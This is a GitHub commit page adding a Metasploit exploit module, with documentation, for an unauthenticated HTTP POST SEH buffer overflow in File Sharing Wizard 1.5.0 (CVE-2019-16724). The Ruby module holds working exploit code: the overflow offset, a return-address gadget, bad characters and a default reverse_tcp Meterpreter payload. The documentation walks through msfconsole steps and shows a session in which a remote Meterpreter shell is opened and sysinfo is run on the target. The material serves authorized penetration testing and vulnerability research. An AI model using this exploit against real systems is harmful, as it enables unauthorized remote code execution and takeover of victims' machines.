Skip to content
Permalink
Browse files

Land #12400, Add File Sharing Wizard SEH exploit module

  • Loading branch information...
busterb committed Oct 8, 2019
2 parents 0c5819d + 951fd7b commit 5ce3f5d1664f7f717c31b81adbc29b78d2b7d62d
@@ -0,0 +1,49 @@
## Description

This module exploits a vulnerability in File Sharing Wizard version 1.5.0 which
allows a remote attacker to obtain arbitrary code execution by exploiting a Structured Exception Handler (SEH) based buffer overflow in an HTTP POST parameter.

## Vulnerable Application

This module has been tested successfully on:

* Windows 7 x86 SP1

The application installer is linked below

[File Sharing Wizard Installer](https://www.exploit-db.com/apps/da3a3626f99a85f9ab59ab77f083ff80-fs-wizard-setup.exe)

Once installed run the application and click "Start" to enable the server.

## Verification Steps

1. Start `msfconsole`
2. Do: `use exploits/windows/http/file_sharing_wizard_seh`
3. Do: `set rhosts [IP]`
4. Do: `run`
5. Your payload should get executed

## Scenarios

```
msf5 > use exploit/windows/http/file_sharing_wizard_seh
msf5 exploit(windows/http/file_sharing_wizard_seh) > set RHOSTS 192.168.56.101
RHOSTS => 192.168.56.101
msf5 exploit(windows/http/file_sharing_wizard_seh) > run
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] 192.168.56.101:80 - Connecting to target
[*] 192.168.56.101:80 - Sending payload to target
[*] Sending stage (180291 bytes) to 192.168.56.101
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:49164) at 2019-10-03 23:09:18 +0100
meterpreter > sysinfo
Computer : TARGET
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x86
System Language : en_GB
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x86/windows
meterpreter >
```
@@ -0,0 +1,67 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Seh

def initialize(info = {})
super update_info(info,
'Name' => 'File Sharing Wizard - POST SEH Overflow',
'Description' => %q(
This module exploits an unauthenticated HTTP POST SEH-based buffer overflow in File Sharing Wizard 1.5.0.
),
'Author' => [
'x00pwn', # Original exploit
'Dean Welch <dean_welch[at]rapid7.com>' # Module
],
'License' => MSF_LICENSE,
'References' =>
[
%w[CVE 2019-16724],
%w[EDB 47412]
],
'Payload' =>
{
'BadChars' => "\x00\x20"
},
'DisclosureDate' => '2019-09-24',
'DefaultOptions' =>
{
'RPORT' => 80,
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
},
'Platform' => 'win',
'Arch' => [ ARCH_X86 ],
'Targets' =>
[
['Windows Vista / Windows 7 (x86)', { 'Offset' => 1040, 'Ret' => 0x7c38a67f }] # 0x7c38a67f : pop ecx # pop ecx # ret | {PAGE_EXECUTE_READ} [MSVCR71.dll]
])
end

def check
res = send_request_cgi
if res.nil?
fail_with(Failure::Unreachable, 'Connection timed out.')
end
# Checks for the `WWW-Authenticate` header in the response
if res.code && res.code == 401 && res.headers['WWW-Authenticate'].include?('Basic realm="File Sharing Wizard"')
CheckCode::Detected
else
CheckCode::Safe
end
end

def exploit
buf = rand_text_english(target['Offset'])
buf << generate_seh_payload(target.ret)
print_status('Sending payload to target')
send_request_raw({ 'method' => 'POST', 'uri' => buf }, 0)
end

end

0 comments on commit 5ce3f5d

Please sign in to comment.
You can’t perform that action at this time.